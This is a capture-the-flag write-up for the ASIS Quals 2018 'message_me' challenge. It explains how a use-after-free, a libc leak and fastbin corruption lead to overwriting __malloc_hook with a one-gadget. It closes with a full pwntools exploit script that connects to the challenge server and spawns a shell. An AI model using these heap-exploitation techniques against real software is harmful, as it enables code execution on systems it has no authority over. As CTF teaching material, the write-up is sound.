Asis Quals 2018 Message

message_me

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

The program provide the following options

   Message System
---------------------
0 : Add a message
1 : Remove the message
2 : Show the message
3 : Change the timestamp
---------------------
choice :

There is a table in bss which follows this structure

struct entry
{
int timestamp;
char message[size];
}

we can create new message entry with the add message option . The change timestamp option adds a random number between 0-9 to the timestamp . The show message option displays the time as a string and displays the message .

There is a UAF on the free option which does not null out the entry even if it is freed . We can do fastbin corruption and allocate a fastbin chunk near _malloc_hook and overwrite it with one gadget . But We do not control first 8 bytes of the structure , it will contain the time .

Another thing is that the time is printed with ctime and it uses heap internally so calling the show option will mess up our heap ,

On to the libc leak , creating a chunk will place the a heap pointer on to the table and we will delete it . because of the uaf bug it will be there in the table and the ctime in view option manipulates the heap ( I don’t really now what happens inside that function ) and the end result is that we get a libc address of main arena in message section of the object which will be printed out . We have our libc leak .

Next is we have to get the address of _malloc_hook-0x23 on to the fastbinY array to allocate a chunk on the libc .

The trick is to create a fake chunk ( who’s fd points to the libc ) on a the heap and use the change time stamp option to manipulate the fd of the freed fastbin chunk to point to that location . since the seed of the random number generator is fixed we can predict the number generated on every iteration .

#include <stdio.h>
#include <stdlib.h>

int main()
{
  srand(1);
  for ( int i = 0 ; i <= 9 ; i++)
    printf("%d\n",rand()%10);

  return 0;
}
3
6
7
5
3
5
6
2
9
1

These same number will be generated on every execution .

We will create two chunk , which the first containing the fake chunk .

payload = p64([                                                                                                                               
    0x0,                                                                                                                                      
    0x0,                                                                                                                                      
    0x71,                                                                                                                                     
    fake_chunk,                                                                                                                               
    0x0,])                                                                                                                                    
create(0x60,payload)                                                                                                                          
create(0x60,"")                                                                                                                               
delete(1)                                                                                                                                     
delete(2)    
 +-------------------+
 |       0x71        | -------------> [1]
 +-------------------+			  
 |        fd         | ---> null
 +-------------------+			  
 |                   |			  
 |                   |			  
 |+-----------------+|			  
 ||       0x71      || --------------> [fake_chunk]
 |+-----------------+|	
 ||__malloc_hook-0x23|		       	  
 |+-----------------+|		       	  
 ||                 ||		       	  
 ||                 ||		       	  
 |+-----------------+|		       	  
 +-------------------+		       	  
 |        0x71       | ---------------> [2]
 +-------------------+	
 |        fd         | ----> points to [1]
 +-------------------+	
 |                   |	
 |                   |	
 |                   |	
 |                   |	
 +-------------------+	

fastbinY : [2] -> [1] 

calling change on 2 will add the random number to the fd which points to [1] , we can increment this number to point to out fake chunk

change(2)
change(2)
change(2)
change(2)
change(1)
change(2)
change(2)
fastbinY : [2]  -> [fake_chunk] -> [__malloc_hook-0x23]

We will create two new object and the third will give return a pointer on libc and we can give one gadget to the __malloc_hook . Then just trigger the hook .

from pwn import *
from datetime import datetime

def p64(hex):
    from struct import pack
    return pack('<' + 'Q' * len(hex), *hex)
context.arch = 'amd64'
context.bits = 64
if True:
    context.log_level = "debug"
    io = remote ("159.65.125.233", 6003)
else:
    context.log_level = "debug"
    context.terminal = ['tmux', 'splitw', '-h']
    env = {'LD_PRELOAD' : './libc.so.6'}
    io = process('./message_me' ,env=env)
    gdb.attach(io,'''

    ''')

def create(size,msg):
        io.recvuntil("choice : ")
        io.sendline(str(0))
        io.recvuntil("Give me the message size : ")
        io.sendline(str(size))
        io.recvuntil("Give me your meesage : ")
        io.sendline(str(msg))

def view(idx):
        io.recvuntil("choice : ")
        io.sendline(str(2))
        io.recvuntil("Give me index of the message : ")
        io.sendline(str(idx))

def delete(idx):
        io.recvuntil("choice : ")
        io.sendline(str(1))
        io.recvuntil("Give me index of the message : ")
        io.sendline(str(idx))

def change(idx):
        io.recvuntil("choice : ")
        io.sendline(str(3))
        io.recvuntil("Give me index of the message : ")
        io.sendline(str(idx))
def leak():
    io.recvuntil("Message : ")
    return u64(io.recv(6) + "\x00\x00")


create(0x20,"A")
delete(0)
view(0)


libc_leak = leak()
libc = libc_leak - 0x3c4b78
fake_chunk = libc + 0x3c4aed
magic = libc + 0xf02a4
log.info("Libc Leak :" +hex(libc))

create(0x20,"A")
delete(1)

payload = p64([
    0x0,
    0x0,
    0x71,
    fake_chunk,
    0x0,])


create(0x60,payload)
create(0x60,"")

delete(2)
delete(3)

change(3)
change(3)
change(3)
change(3)
change(2)
change(3)
change(3)

create(0x60,"")
create(0x60,"")

payload = "\x00" * 0x3
payload += p64([
    0x0,
    magic
])
create(0x60,payload)

delete(1)
io.interactive()